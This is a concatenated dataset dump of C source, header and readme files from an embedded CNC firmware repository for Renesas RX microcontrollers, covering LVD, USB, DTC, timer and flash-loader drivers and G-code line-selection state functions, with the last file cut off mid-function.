R_LVD_GetVersion\n* Description : Returns the current version of this module. The version number is encoded where the top 2 bytes are the\n* major version number and the bottom 2 bytes are the minor version number. For example, Version 4.25 \n* would be returned as 0x00040019.\n* Arguments : none\n* Return Value : Version of this module.\n***********************************************************************************************************************/\nuint32_t R_LVD_GetVersion (void)\n{\n /* These version macros are defined in r_ldv_rx_if.h. */\n return ((((uint32_t)LVD_RX_VERSION_MAJOR) << 16) | (uint32_t)LVD_RX_VERSION_MINOR);\n} \n\n/***********************************************************************************************************************\n* Function Name: lvd_delay\n* Description : Implements a software time delay\n* Arguments : time_us-\n* Time to delay in usec\n* Return Value : none\n***********************************************************************************************************************/\nstatic void lvd_delay(uint32_t time_us)\n{\n volatile uint32_t iclk_freq_hz, delay_count;\n volatile uint32_t delay_time;\n iclk_freq_hz = BSP_ICLK_HZ; // get the current iclk frequency\n\n //delay_time = ((time_us * (iclk_freq_hz/1000000))/12);\n /* The delay loops used below have been measured to take 12 cycles per iteration. This has been verified using the\n Renesas RX Toolchain with optimizations set to 2, size priority. The same result was obtained using 2, speed\n priority. The amount of times to run the loop is adjusted linearly based on this info along with the speed\n at which the core is running. */\n for(delay_count = 0; delay_count < ((time_us * (iclk_freq_hz/1000000))/12); delay_count++)\n {\n nop();\n }\n\n}\n\n/***********************************************************************************************************************\n* Function Name: lvd1_isr\n* Description : ISR for LVD channel 1\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\n#if (LVD_CFG_CHANNEL_1_USED ==1)\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n#pragma interrupt lvd1_isr(vect=VECT(LVD,LVD1))\nstatic void lvd1_isr(void)\n{\n if (lvd1_isr_handler != NULL)\n {\n lvd1_isr_handler((void *)&g_lvd_ch1_cb_args);\n }\n}\n#endif\n#endif\n/***********************************************************************************************************************\n* Function Name: lvd2_isr\n* Description : ISR for LVD channel 2\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\n#if (LVD_CFG_CHANNEL_2_USED ==1)\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n#pragma interrupt lvd2_isr(vect=VECT(LVD,LVD2))\nstatic void lvd2_isr(void)\n{\n if (lvd2_isr_handler != NULL)\n {\n lvd2_isr_handler((void *)&g_lvd_ch2_cb_args);\n }\n}\n#endif\n#endif\n" }, { "alpha_fraction": 0.5089623332023621, "alphanum_fraction": 0.5183358192443848, "avg_line_length": 40.367347717285156, "blob_id": "09bc214a7189afb1560439ebb57052a2183ee5c9", "content_id": "dace7ec292cc31568079ce183b5159dd648a4547", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6081, "license_type": "no_license", "max_line_length": 120, "num_lines": 147, "path": "/r_config/r_usb_basic_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_basic_config_reference.h\n* Description : USB User definition\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n#ifndef __R_USB_CONFIG_H__\n#define __R_USB_CONFIG_H__\n\n#include \"r_usb_defvalue.h\"\n#include \"r_usb_fixed_config.h\"\n\n/*****************************************************************************\nMacro definitions (USER DEFINE)\n******************************************************************************/\n/* \n Select using DTC module\n*/\n// #define USB_DTC_ENABLE /* defined: Use DTC, undefined: Don't use DTC */\n\n\n/******************************************************************************\nMCU separate setting\n*******************************************************************************/\n\n/*\n Select USB mode to USB IP(USBb)\n\n USB_HOST_PP : USB Host Mode\n USB_PERI_PP : USB Peripheral Mode\n USB_NOUSE_PP : Not Used (USBb)\n*/\n #define USB_FUNCSEL_USBIP0_PP USB_HOST_PP\n\n/*\n Select USB mode to USB IP(USBAa/USBA)\n \n USB_HOST_PP : USB Host Mode\n USB_PERI_PP : USB Peripheral Mode\n USB_NOUSE_PP : Not Used (USBAa/USBA)\n*/\n #define USB_FUNCSEL_USBIP1_PP USB_NOUSE_PP\n\n/*\n Select SPEED mode setting for USBAa IP\n \n RX71M: USB_HS_PP / USB_FS_PP\n RX64M: USB_FS_PP (Don't set \"USB_HS_PP\" when usign RX64M)\n*/\n #define USB_SPEED_MODE_PP USB_FS_PP\n\n/*\n Battery Charging setting ( USB Host Mode )\n*/\n// #define USB_HOST_BC_ENABLE /* defined: Use BC function, undefined: No use BC function */\n// #define USB_BC_DCP_ENABLE /* defined: Host DCP mode, undefined: Host CDP mode */\n\n/* Set the user function when USB device is attached if neccesary. */\n// #define USB_BC_ATTACH(ptr, data1, data2) usb_cstd_DummyFunction(ptr, data1, data2)\n\n/*\n Compliance Test Setting ( USB Host Mode )\n*/\n// #define USB_HOST_COMPLIANCE_MODE /* defined: Host COMPLIANCE mode, undefined: Host normal mode */\n// #define USB_HS_EL_TEST /* defined: Host ELECTRICAL TEST mode, undefine: Host Normal mode */\n\n/* Set the user function when USB device is attached if neccesary. */\n// #define USB_COMPLIANCE_DISP(ptr, data1, data2) usb_cstd_DummyFunction(ptr, data1, data2)\n\n#define USB_RESPONCE_COUNTER_VALUE (6000u)\n\n/*\n Overcurrent Setting ( USB Host Mode )\n*/\n#define USB_OVERCURRENT(ptr, data1, data2) usb_cstd_DummyFunction(ptr, data1, data2)\n\n/*\n Battery Charging setting ( USB Peripheral Mode )\n*/\n// #define USB_PERI_BC_ENABLE\n\n/*\n CPU byte endian select\n \n USB_BYTE_LITTLE_PP : Setting Little endian to USB IP.\n USB_BYTE_BIG_PP : Setting Big endian to USB IP.\n*/\n#define USB_CPUBYTE_PP USB_BYTE_LITTLE_PP\n\n/* \n Select CPU Low Power Mode\n\n USB_LPWR_NOT_USE_PP : No used CPU Low power mode\n USB_LPWR_USE_PP : Used CPU Low power mode\n*/\n#define USB_CPU_LPW_PP USB_LPWR_NOT_USE_PP\n\n/*\n Output debugging message in a console of IDE.\n\n USB_DEBUG_OFF_PP : No output the debugging message\n USB_DEBUG_ON_PP : Output the debugging message\n*/\n#define USB_DEBUG_OUTPUT_PP USB_DEBUG_OFF_PP\n\n/* \n Debug Hook function call setting\n*/\n#define USB_DEBUG_HOOK_USE /* Undefined : No call the debug Hook Function */\n\n/*****************************************************************************\nMacro definitions (Peripheral Mode)\n******************************************************************************/\n/* Max of string descriptor */\n#define USB_STRINGNUM (7u)\n\n/*******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n********************************************************************************/\n#include \"r_usb_sysdef.h\"\n\n#endif /* __R_USB_CONFIG_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6402166485786438, "alphanum_fraction": 0.6632917523384094, "avg_line_length": 31.159090042114258, "blob_id": "412877b7c4f76167d8f2f1a30611166a35f41103", "content_id": "eff74cee825664323cb8870d4a8ea51e18732914", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 4247, "license_type": "no_license", "max_line_length": 119, "num_lines": 132, "path": "/r_dtc_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nr_dtc_rx\n=========\n\nDocument Number \n---------------\nR01AN1819EJ0202\n\nVersion\n-------\nv2.02\n\nOverview\n--------\nThe DTC driver provides a method to transmit the data using Data Transfer Controller (DTC).\nThe driver includes API functions to initialize DTC, create Transfer data, Control and get status of DTC.\nThe driver can be reduced in size by removing code used for parameter checking. \nAll configuration options can be found in \"r_config\\r_dtc_rx_config.h\". \nAn original copy of the configuration file is stored in \"r_dtc_rx\\ref\\r_dtc_rx_config_reference.h\".\n\nFeatures\n--------\n* Support Normal trasnsfer mode, Repeat trasnsfer mode and Block trasnsfer mode.\n* Support chain transfer\n\nSupported MCUs\n--------------\n* RX110 MCU\n* RX111 MCU\n* RX113 MCU\n* RX64M MCU\n* RX71M MCU\n\nBoards Tested On\n----------------\n* RSKRX110\n* RSKRX111\n* RSKRX113\n* RSKRX64M\n* RSKRX71M\n\nLimitations\n-----------\n* None\n\nPeripherals Used Directly\n-------------------------\n* Data Transfer Controller (DTC)\n\nRequired Packages\n-----------------\n* r_bsp v2.80\n\nHow to add to your project\n--------------------------\nThe FIT module must be added to each project in the e2Studio.\nYou can use the FIT plug-in to add the FIT module to your project, or the module can be added manually.\nIt is recommended to use the FIT plug-in as you can add the module to your project easily and also it will \nautomatically update the include file paths for you.\nTo add the FIT module using the plug-in, refer to \"Adding FIT Modules to e2 studio Projects Using FIT Plug-In\" in the \n\"Adding Firmware Integration Technology Modules to Projects\" application note (R01AN1723EU).\nWhen using the FIT module, the BSP FIT module also needs to be added. For details on the BSP FIT module, refer to the \n\"Board Support Package Module Using Firmware Integration Technology\" application note (R01AN1685EU).\nTo add the FIT module manually, refer to the following steps.\n\n 1. This application note is distributed with a zip file package that includes the DTC FIT module in its own folder\n r_dtc_rx.\n 2. Unzip the package into the location of your choice.\n 3. In a file browser window, browse to the directory where you unzipped the distribution package and locate the\n r_dtc_rx folder.\n 4. Open your e2Studio workspace.\n 5. In the e2Studio project explorer window, select the project that you want to add the DTC FIT module to.\n 6. Drag and drop the r_dtc_rx folder from the browser window into your e2Studio project at the top level of the\n project.\n 7. Update the source search/include paths for your project by adding the paths to the module files:\n a. Navigate to the \"Add directory path\" control:\n i. 'project name' -> properties -> C/C++ Build -> Settings -> Compiler -> Source -Add (green + icon)\n b. Add the following paths:\n i. \"${workspace_loc:/${ProjName}/r_dtc_rx}\"\n Whether you used the plug-in or manually added the package to your project, it is necessary to configure the module\n for your application.\n 8. Locate the r_dtc_rx_config_reference.h file in the r_dtc_rx/ref source folder in your project and copy it to the\n r_config folder in your project.\n 9. Change the name of the copy in the r_config folder to r_dtc_rx_config.h.\n10. Make the required configuration settings by editing the r_dtc_rx_config.h file. Refer to 2.6 \"Compile Settings\" for\n details.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v2.01\n\nFile Structure\n--------------\nr_dtc_rx\n| r_dtc_rx_if.h\n| readme.txt\n|\n+---doc\n| r01an1819ej0202_rx.pdf\n|\n+---ref\n| r_dtc_rx_config_reference.h\n|\n+---src\n | r_dtc_rx.c\n | r_dtc_rx_private.h\n |\n +---targets\n |\n +---rx64m\n | r_dtc_rx_target.c\n | r_dtc_rx_target.h\n |\n +---rx71m\n | r_dtc_rx_target.c\n | r_dtc_rx_target.h\n |\n +---rx110\n | r_dtc_rx_target.c\n | r_dtc_rx_target.h\n |\n +---rx111\n | r_dtc_rx_target.c\n | r_dtc_rx_target.h\n |\n +---rx113\n r_dtc_rx_target.c\n r_dtc_rx_target.h\n\nr_config\n r_dtc_rx_config.h\n\n\n" }, { "alpha_fraction": 0.7030124664306641, "alphanum_fraction": 0.7154551148414612, "avg_line_length": 33.314605712890625, "blob_id": "592913c37c8c71687b6352d3f30e1d0783d97c74", "content_id": "0454d83bf2d184c6f40ae82a2d363173f0c964ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3054, "license_type": "no_license", "max_line_length": 95, "num_lines": 89, "path": "/src/cnc/xio/xio_FsFat.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * xio_file.h\t- device driver for file-type devices\n * \t\t\t- works with avr-gcc stdio library\n *\n * Part of TinyG project\n *\n * Copyright (c) 2011 - 2013 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n/*--- How to setup and use program memory \"files\" ----\n\n Setup a memory file (OK, it's really just a string)\n should be declared as so:\n\n\tconst char g0_test1[] PROGMEM= \"\\\n\tg0 x10 y20 z30\\n\\\n\tg0 x0 y21 z-34.2\";\n\n\tLine 1 is the initial declaration of the array (string) in program memory\n\tLine 2 is a continuation line. \n\t\t- Must end with a newline and a continuation backslash\n\t\t- (alternately can use a semicolon instead of \\n is XIO_SEMICOLONS is set)\n\t\t- Each line will be read as a single line of text using fgets()\n\tLine 3 is the terminating line. Note the closing quote and semicolon.\n\n\n Initialize: xio_pgm_init() must be called first. See the routine for options.\n\n Open the file: xio_pgm_open() is called, like so:\n\txio_pgm_open(PGMFILE(&g0_test1));\t// simple linear motion test\n\n\tPGMFILE does the right cast. If someone more familiar with all this \n\tcan explain why PSTR doesn't work I'd be grateful.\n\n Read a line of text. Example from parsers.c\n\tif (fgets(textbuf, BUF_LEN, srcin) == NULL) {\t\n\t\tprintf_P(PSTR(\"\\r\\nEnd of file encountered\\r\\n\"));\n\t\tclearerr(srcin);\n\t\tsrcin = stdin;\n\t\ttg_prompt();\n\t\treturn;\n\t}\n*/\n\n#ifndef xio_fatfs_h\n#define xio_fatfs_h\n\n#define PGMFILE (const PROGMEM char *)\t\t// extends pgmspace.h\n\n/* \n * FILE DEVICE CONFIGS \n */\n#include \"ff.h\"\n\n/* \n * FILE device extended control structure \n * Note: As defined this struct won't do files larger than 65,535 chars\n * Note: As defined this struct won't do files larger than 4 Gbytes chars\n */\n\n// file-type device control struct\ntypedef struct xioFILE {\n\tFATFS gFatfs;\n\tFIL f;\n} xioFsfat_t;\n\n/* \n * FILE DEVICE FUNCTION PROTOTYPES\n */\nvoid xio_init_fsfat();\nFILE * xio_open_file(const uint8_t dev, const char *addr, const flags_t flags);\nint xio_gets_fsfat(xioDev_t *d, char *buf, const int size);\t\t// read string from program memory\nint xio_getc_fsfat(FILE *stream);\t\t\t\t\t\t\t\t\t// get a character from PROGMEM\nint xio_putc_fsfat(const char c, FILE *stream);\nvoid xio_close_fsfat (xioDev_t *d);\n// SD Card functions\n\n#endif\n" }, { "alpha_fraction": 0.40642762184143066, "alphanum_fraction": 0.4226060211658478, "avg_line_length": 59.18421173095703, "blob_id": "77a56e8210892960f2c298190f58e00c7efe2ac1", "content_id": "34f9250a33ab32fb260c0ea106b155ebaf701220", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4574, "license_type": "no_license", "max_line_length": 120, "num_lines": 76, "path": "/r_tmr_rx/r_tmr_rx_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013, 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name\t : r_cmt_rx_if.h\n* Description : This module creates a timer tick using a CMT channel.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 06.11.2013 2.10 First GSCE Release.\n* : 22.04.2014 2.30 Updates for RX110, RX64M support.\n* : 10.11.2014 2.40 Added support for RX113.\n* : 12.04.2014 2.41 Updated demo project.\n***********************************************************************************************************************/\n#ifndef TMR_RX_IF\n#define TMR_RX_IF\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n#include \"platform.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Version Number of API. */\n#define TMR_RX_VERSION_MAJOR (1)\n#define TMR_RX_VERSION_MINOR (00)\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\ntypedef enum e_tmr_ch // TMR channel numbers\n{\n TMR_CH0=0,\n\tTMR_CH1,\n\tTMR_CH2,\n\tTMR_CH3,\n\tTMR_NUM_CH\n} tmr_ch_t;\n\ntypedef enum e_sci_comm // TMR commands\n{\n TMR_START=0,\n\tTMR_CLEAR,\n\tTMR_NUM_COMM\n} tmr_commands_t;\n\n\n/***********************************************************************************************************************\nExported global variables\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nExported global functions (to be accessed by other files)\n***********************************************************************************************************************/\nbool R_TMR_CreatePeriodic(uint32_t frequency_hz, void (* callback)(void * pdata), tmr_ch_t channel);\nbool R_TMR_CreateOneShot(uint8_t period_us, void (* callback)(void * pdata), tmr_ch_t channel);\nbool R_TMR_Control(tmr_ch_t channel, tmr_commands_t command, void * pdata);\nbool R_TMR_Stop(tmr_ch_t channel);\nuint32_t R_TMR_GetVersion(void);\n#endif\n" }, { "alpha_fraction": 0.5322195887565613, "alphanum_fraction": 0.5456444025039673, "avg_line_length": 53.032257080078125, "blob_id": "f9998784f30182bc5c744f7dee9e7bd543a77e3f", "content_id": "37de2c369fe2ff5fa03be8f95c9f1b6bda1c9ade", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3352, "license_type": "no_license", "max_line_length": 81, "num_lines": 62, "path": "/r_flash_loader_rx/src/r_fl_downloader.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_downloader.h\n* Version : 3.00\n* Description : Contains the FlashLoader state machine. This file should\n* not be changed unless you are changing part of the protocol.\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 02.03.2012 3.00 Made compliant with CS v4.0. Move structure \n* definitions to r_fl_types.h and moved macro\n* configuration options to \n* r_flash_loader_rx_config.h.\n******************************************************************************/\n\n#ifndef FL_DOWNLOADER_H\n#define FL_DOWNLOADER_H\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Valid Mask for Load Image Header */\n#define FL_LI_VALID_MASK (0xAA)\n\n/* Value of 'successfully_stored' value before image has been \n successfully downloaded. If this is the value, then the\n image did not download correctly. */\n#define FL_LI_NOT_SUCCESSFULLY_STORED (0xFFFFFFFF)\n\n/* Valid Mask for Block Header */\n#define FL_BH_VALID_MASK (0xBB)\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n******************************************************************************/\nvoid R_FL_DownloaderInit(void);\nvoid R_FL_StateMachine(void);\n\n#endif /* FL_DOWNLOADER_H */\n\n\n" }, { "alpha_fraction": 0.6180555820465088, "alphanum_fraction": 0.6458333134651184, "avg_line_length": 19.454038619995117, "blob_id": "a00fae1a55e3b5d7f32de60fd0855803bbe5a8bc", "content_id": "d7217a6f4e464fed37d4ebe56d2f84d3a5a419eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7345, "license_type": "no_license", "max_line_length": 85, "num_lines": 359, "path": "/src/states/state_functions.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * state_functions.c\n *\n * Created on: 30/04/2016\n * Author: leocafonso\n */\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"gcode_parser.h\"\n#include \"macros.h\"\n#include \"planner.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"ff.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"interpreter_if.h\"\n#include \"state_functions.h\"\n#include \"eeprom.h\"\n#include \"spiffs_hw.h\"\n\n#include \"keyboard.h\"\n\n#include \"lcd_menu.h\"\n#include \"lcd.h\"\n#include \"util.h\"\n\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nextern uint32_t actualLine;\nextern uint32_t previousLine;\nextern uint32_t choosedLine;\nextern uint32_t choosedLinePosition;\nextern TaskHandle_t xCncTaskHandle;\n\nuint32_t lineEntries[2];\nuint32_t LinePositionEntries[2];\nfloat selecionarLinhas = 0;\nuint32_t LineM5 = 0;\nuint32_t currentLineSel = 0;\nstatic char strLinhas[2][20];\nchar** pstrLinhas;\n\nuint32_t selecionarlinhasMax(void)\n{\n\tstat_t status;\n\ts32_t res;\n\ts32_t i;\n\tchar s;\n\tut_lcd_output_warning(\"LENDO ARQUIVO\\n\");\n//\tiif_bind_line_selection();\n\tchoosedLinePosition = 0;\n\tchoosedLine = 0;\n\tcurrentLineSel = 0;\n\tLineM5 = 0;\n\tparse_gcode_func_selection(LINE_PARSER);\n\tmacro_func_ptr = command_idle;\n\tselecionarLinhas = 1000000;\n\txio_close(cs.primary_src);\n\txio_open(cs.primary_src,0,0);\n\ti = 0;\n\twhile (true) {\n\t\ti++;\n\t\tres = SPIFFS_lseek(&uspiffs[0].gSPIFFS, uspiffs[0].f, -i, SPIFFS_SEEK_END);\n\t\tres = SPIFFS_read(&uspiffs[0].gSPIFFS, uspiffs[0].f, &s, 1);\n\t\tif (s == 'N')\n\t\t{\tSPIFFS_read(&uspiffs[0].gSPIFFS, uspiffs[0].f, &s, 1);\n\t\t\tif(isdigit(s))\n\t\t\t\tbreak;\n\t\t}\n\n\t}\n\ti+=2;\n\tres = SPIFFS_lseek(&uspiffs[0].gSPIFFS, uspiffs[0].f, -i, SPIFFS_SEEK_END);\n\twhile(true)\n\t{\n\t\tif ((status = xio_gets(cs.primary_src, cs.in_buf, sizeof(cs.in_buf))) == STAT_OK) {\n\t\t\tcs.bufp = cs.in_buf;\n\t\t}\n\n\t\tif (status == STAT_EOF) {\t\t\t\t\t\t// EOF can come from file devices only\n\t\t\txio_close(cs.primary_src);\n\t\t\tbreak;\n\t\t}\n\n\t\tgc_gcode_parser(cs.bufp);\n\t}\n\n\tselecionarLinhas = 0;\n\treturn currentLineSel;\n}\n\nvoid selecionarlinhas(void)\n{\n\tstat_t status;\n\tut_lcd_output_warning(\"LENDO ARQUIVO\\n\");\n//\tiif_bind_line_selection();\n\tchoosedLinePosition = 0;\n\tchoosedLine = 0;\n\tLineM5 = 0;\n\tparse_gcode_func_selection(LINE_PARSER);\n\tmacro_func_ptr = command_idle;\n\txio_close(cs.primary_src);\n\txio_open(cs.primary_src,0,0);\n\twhile (true) {\n\t\tif ((status = xio_gets(cs.primary_src, cs.in_buf, sizeof(cs.in_buf))) == STAT_OK) {\n\t\t\tcs.bufp = cs.in_buf;\n\n\t\t}\n\t\t// handle end-of-file from file devices\n\t\tif (status == STAT_EOF) {\t\t\t\t\t\t// EOF can come from file devices only\n\t\t\txio_close(cs.primary_src);\n\t\t\tbreak;\n\t\t}\n\t\tif (gc_gcode_parser(cs.bufp) == STAT_COMPLETE)\n\t\t{\n\t\t\tlineEntries[1] = LineM5;\n\t\t\tLinePositionEntries[1] = actualLine - (actualLine - previousLine);\n\t\t\tconfigsVar->type = UT_CONFIG_BOOL;\n\t\t\txio_close(cs.primary_src);\n\t\t\tbreak;\n\t\t}\n\t\tif (gc_gcode_parser(cs.bufp) == STAT_OK)\n\t\t{\n\t\t\tlineEntries[0] = LineM5;\n\t\t\tLinePositionEntries[0] = actualLine - (actualLine - previousLine);\n\t\t}\n\t}\n\n}\n\nchar** selecionarLinhatexto(void)\n{\n\tsprintf(strLinhas[0], \"ENTRADA LINHA %d\", lineEntries[0]);\n\tsprintf(strLinhas[1], \"ENTRADA LINHA %d\", lineEntries[1]);\n\tpstrLinhas[0] = strLinhas[0];\n\tpstrLinhas[1] = strLinhas[1];\n\treturn pstrLinhas;\n}\n\nvoid linhaSelecionada(uint32_t flag)\n{\n\tif(flag == 1)\n\t{\n\t\tchoosedLine = lineEntries[1];\n\t\tchoosedLinePosition = LinePositionEntries[1];\n\t}\n\telse if(flag == 0)\n\t{\n\t\tchoosedLine = lineEntries[0];\n\t\tchoosedLinePosition = LinePositionEntries[0];\n\t}\n}\n\nvoid zerar_maquina(void *var)\n{\n\tut_config_var *lvar = var;\n\tuint32_t *value = lvar->value;\n\tif(*value)\n\t{\n\t\txTaskNotifyGive(xCncTaskHandle);\n\t\tmacro_func_ptr = ZerarMaquina_Macro;\n\t}\n}\n\nvoid zerar_peca(void *var)\n{\n\tut_config_var *lvar = var;\n\tuint32_t *value = lvar->value;\n\tif(*value)\n\t{\n\t\tif ((zero_flags & ZERO_PECA_FLAG) == ZERO_PECA_FLAG)\n\t\t{\n\t\t\teepromReadConfig(ZEROPIECE);\n\t\t\tzeroPiece[AXIS_X] += mp_get_runtime_absolute_position(AXIS_X);\n\t\t\tzeroPiece[AXIS_Y] += mp_get_runtime_absolute_position(AXIS_Y);\n\t\t\tzeroPiece[AXIS_Z] = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tzeroPiece[AXIS_X] = mp_get_runtime_absolute_position(AXIS_X);\n\t\t\tzeroPiece[AXIS_Y] = mp_get_runtime_absolute_position(AXIS_Y);\n\t\t\tzeroPiece[AXIS_Z] = 0;\n\t\t}\n\t\teepromWriteConfig(ZEROPIECE);\n\t\txTaskNotifyGive(xCncTaskHandle);\n\t\tmacro_func_ptr = ZerarPeca_Macro;\n\t}\n}\n\nvoid homming_eixos(void *var)\n{\n\tut_config_var *lvar = var;\n\tuint32_t *value = 